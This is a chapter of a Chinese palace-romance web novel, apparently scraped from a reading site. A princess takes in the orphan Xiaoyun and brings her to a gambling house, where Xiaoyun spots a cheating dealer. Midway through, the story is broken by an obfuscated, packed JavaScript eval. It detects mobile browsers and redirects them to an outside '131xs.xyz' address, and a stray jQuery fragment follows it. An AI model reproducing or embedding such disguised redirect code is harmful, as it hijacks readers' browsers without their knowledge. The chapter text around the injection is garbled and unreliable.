39. 身有所归
作品:《檐上雪》 宫娥手边的女子正是小芸,她满脸尘灰,衣裳还沾着泥渍。
她只是任由宫娥抓着袖襟,也不反抗。
“小芸?”杨祯雪有些意外,当即吩咐莺时:“带她下去换件干净的衣裳。”
趁着小芸离去的间隙,她问宫娥:“你是从何处发现她的?”
“奴婢按您的吩咐出府采买物件,归来时见她站在府门外,不住向内张望,形迹甚是可疑。奴婢疑心她心怀不轨,便上前盘问,她却一口咬定与公主您是旧相识,说是非见您不可。”宫娥并未觉得此举不妥,答她。
杨祯雪静静听着,默不作声。
宫娥顿感惶惑,她低下头去。片刻,才听得回音。
“孤确与她相识。”
宫娥暗自松了口气,却听杨祯雪话锋一转。
“今日来的是旧识,那日后呢?孤且问你,若往后再有他人称与孤相识,你是否依旧如此?不问其来路根底,不察其意图真伪,不事先通传禀明,就这般贸然领着人,直入府邸深闱吗?”
闻言,宫娥直冒冷汗。她方才行径确是失职,若来者真是包藏祸心之人,后果岂是她能承担?
“奴婢……”她一时语塞,满脸羞愧:“公主,是奴婢思虑不周,奴婢知错了。”
“罚你半月月钱,退下吧。”杨祯雪并非苛责之人,可如今状况,容不得半点疏忽。
宫娥告退后,小芸已换上一件素蓝衣裙款款而来,她的面容也恢复往日清净。她默然走到杨祯雪身前,笨拙地行礼,又低垂着首,盯着裙摆上疏落的绣花,一言不发。
归京之后,杨祯雪与小芸素无往来。因她不便将人带入宫中,小芸俱是由周径山照料。此刻,杨祯雪虽有满腹话想问她,可一观小芸这幅模样,她倒不知该如何开口。
“公主姐姐。”小芸话至嘴边,又生生止住。她手绕罗袖,整个人局促不安,终鼓足勇气开口:“我能留在您身边吗?”
“他苛待你了?”
这个他,自然是指周径山。
“万万没有的事。”小芸连连摆手,急切解释道:“将军待我极好,只是在他府中,我如同室中花,备受呵护。您是知道的,在定州我会帮衬家里做事,如今将军府上的人什么事都不让我做,我反倒浑身不自在,还总觉得自己无用。”
小芸稍顿片刻,似是在斟酌用词。
“我可羡慕莺时姐姐了,能为您做些力所能及之事。我不求能如莺时姐姐一般能干,只求也能凭这双手做些实实在在的事,哪怕仅是微不足道的小事。求您成全我这份心意,让我能够报答您。”
杨祯雪含笑望着小芸,道:“一朵娇花固然惹人怜爱,但一支能经风雨的兰草,却更令人钦佩。你有这份志气,甚好。既如此,那便留下吧,直至你找回亲生父母。”
“公主殿下厚爱,小芸感激不尽。”小芸忽然拜下,垂下眼帘,声音也轻:“只是关于寻找亲生父母之事,我心中早有决断,恳请公主就此作罢。”
她抬起头,眼中是哀伤,也带有释然。
“我并非不念生恩,只是他们于我,连一道模糊的影子都没有。而予我温饱,教我识理的人,是阿爷阿奶。那日阿爷劝说我跟着您,同我讲了好多好多话。我相信阿爷,也相信您,我并不想揪着过去不放,我想向前看。”
“为你寻亲,是因为对你阿爷许了诺,也是盼你的人生能多一分圆满。”杨祯雪叹气道:“孤问你,你做出此决定,心中是真正坦然,还是畏惧寻得的结果并非所愿?”
“若说毫无畏惧,是假的,我害怕他们是主动弃我的无情人。这些天我辗转反侧,心有怨恨,我怨他们为何不要我,怨这命运为何独独对我如此苛刻。”
“不过昔日缘何被弃,已不重要了。寻得又如何,我已经不再是当年襁褓中的婴孩。强求骨肉相认,是全了世俗的圆满,却可能徒增两厢的尴尬与伤痛。”她眼眶泛红,语气哽咽,却努力扬起笑:“小芸此身已有所归,尽心回报公主便是我的圆满。”
杨祯雪听罢,心中百感交集。她望着小芸眼中泪光,欲言又止,愣是道不出抚慰的言语。
小芸察觉出杨祯雪的窘迫,眉眼弯弯,声音温软:“我还从未好好逛过京城的热闹呢,公主今日若无要事,能否屈尊陪我去瞧一瞧?就当是散散心。”
听着小芸向往的话语,杨祯雪心中的涩然被冲淡了不少,又见这副小女儿娇态,哪有不应之理。
“莺时,备车。”
-
小芸随杨祯雪登上马车,虽是挨着杨祯雪坐下,可她还是有些拘谨。
杨祯雪瞧她这般模样,不由失笑,从备好的锦盒中拿起一块荷花酥递给她。
“尝尝这个。”
小芸伸手接过,低头咬下一口。品尝过后,她眼睛亮了几分,随即大口大口地吃了起来,腮帮子连连鼓动。她吃完一块,下意识地舔了一下手指沾到的糖粉,而后才反应过来失礼,很不好意思地朝杨祯雪笑了笑。
“擦擦。”杨祯雪将绢帕递了过去。
马车突然一顿,小芸身子随之歪斜,险些撞到车壁。杨祯雪蹙着眉将人扶稳,只听外头莺时忙道:“公主,前面似是国师的车驾,我们该回避。”
国师?
杨祯雪记得,国师已闭关多年,连她也不过是少时见过寥寥几面。
她素手一动,轻轻挑开车帘一角。
这一眼,看到的竟不是国师。
马蹄哒哒,敲在她心口。
杨祯雪看见一匹通体乌黑的骏马,唯有四蹄雪白,神骏非凡。马上之人,一身鸦青锦袍,玉带扣腰,身姿挺拔。
怎会是他?
周径山。
二人距离拉近,杨祯雪总算看见了周径山护卫着的国师,国师乘坐轿辇,正笑着同两侧百姓问候。
周径山似是察觉了帘隙后的张望,侧过脸,迎面撞上杨祯雪的眼眸,杨祯雪在他眼中看到讶异。
只这一瞬,杨祯雪手一松,车帘垂落,隔绝彼此。
“调头,去另一边。”她吩咐道。
“公主。”莺时迟疑道:“那一带设有您的赌坊,向来鱼龙混杂,街市间也时有斗殴之事。带小芸同去,是否不太妥当?”
随着话落,杨祯雪心中蓦地一沉,她竟未想到这层顾虑。
“我去得。”小芸急忙接话,恳切道:“在定州时,我便常去赌坊帮工,挣些银钱贴补家用,对赌坊也算熟悉,或许能帮衬一二。”她扯了扯杨祯雪的衣袖,声音坚定:“公主,我不想游街了,您让我去赌坊吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374388|174153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杨祯雪定定看着小芸,见其一片决然,终是应允。她何尝不知,小芸此番话语,不过是为向她证明自己是堪用之人。
车轮辘辘,继续向前。
帘外,马蹄声声入耳,敲得人心绪不宁。
-
赌场门前,铜钱碰撞之音不绝于耳。
杨祯雪才踏下马车,便听“咚”的一声,一个小倒霉蛋摔了一跤。
“你又背着你娘偷跑出来。”
杨祯雪心生无奈,又觉着好笑。她快步上前扶起了他,又接过莺时递来的帕子擦拭他脸上污垢。
“小心些,要是牙摔坏了可就不好了。”
面前的这名孩童将全身尘埃拍去,不顾疼痛,笑嘻嘻地将杨祯雪扯入赌坊。
小芸默默注视,忍不住好奇出声:“这个小娃娃是何人?公主怎与他如此亲近?”
莺时笑着解释道:“他呀,是婉娘的儿子。这孩子年幼丧父,天生心智有缺,至今神思未开。他们母子二人相依为命,着实不易,公主心生垂怜,出手相助。婉娘一直想要报答公主,恰好当时商铺缺人,公主发觉婉娘善于经营,便将名下的一间赌坊交与她打理。”
“好啦,快进去吧。”莺时又催促,率先迈开一步。
小芸紧跟着踏入,听得一片人声嘈杂。
“买定离手。”
“开!”
“哎,我又吃了。”
小芸并未去往杨祯雪那处,反倒在门口驻足,眸光扫视全场,最终落于东南角的一张骰宝台上。此处围聚的人最多,呼喝声也最盛。
坐庄的男子身形清瘦,面前的银钱堆垒得尤高。相比之下,同桌的几位赌客面如土色。
那男子催促众人下注,又摇晃着骰盅,“砰”一声扣在桌上。
小芸细细地瞧,连着看了几次他摇盅、落盅的动作,瞧出了其中的门道。
他手法花哨,却在落盅的瞬间,小拇指在盅底一叩,盅内的骰子点数已然悄然变换。他身旁几个赌客也在配合他,总在关键时刻大声吆喝,扰乱视线,或是适时下注,带动气氛。
“吃了!”男子掀开盅盖,通杀全场。
小芸默默退开,找到杨祯雪。
杨祯雪正与一位妇人谈话,见她神色有异,眉目一挑,问道:“怎么了?”
“我想向公主借些许银钱。”
霎时满室静默,杨祯雪登即皱起眉头:“孤平日最不喜身边人沾染赌习。”
小芸急忙辩解:“我并非要去滥赌。方才我仔细看过了,那里有一局,庄家的手法有问题。我想以其人之道,还治其人之身。”
“你是说,有人出千?”杨祯雪身旁的女子开口道。
小芸点头,笃定道:“不瞒您说,我在定州赌坊时,三教九流的千术手段也算见识过不少,亦习得一二。我敢断定,方才那庄家便是耍诈出千,这才诓了许多银子去。”
“你一个小姑娘倒是大胆,抓千可需得讲证据。”女子道:“若失败了,你可知有什么后果?”
“我知道,可我不怕。那种人凭着下三滥的手段残害了多少人,我必须让他自食恶果。”
“婉娘,让她去吧,你替她好好打扮一下,再叫来几个打手。”杨祯雪清楚小芸的执拗,终究还是应允了。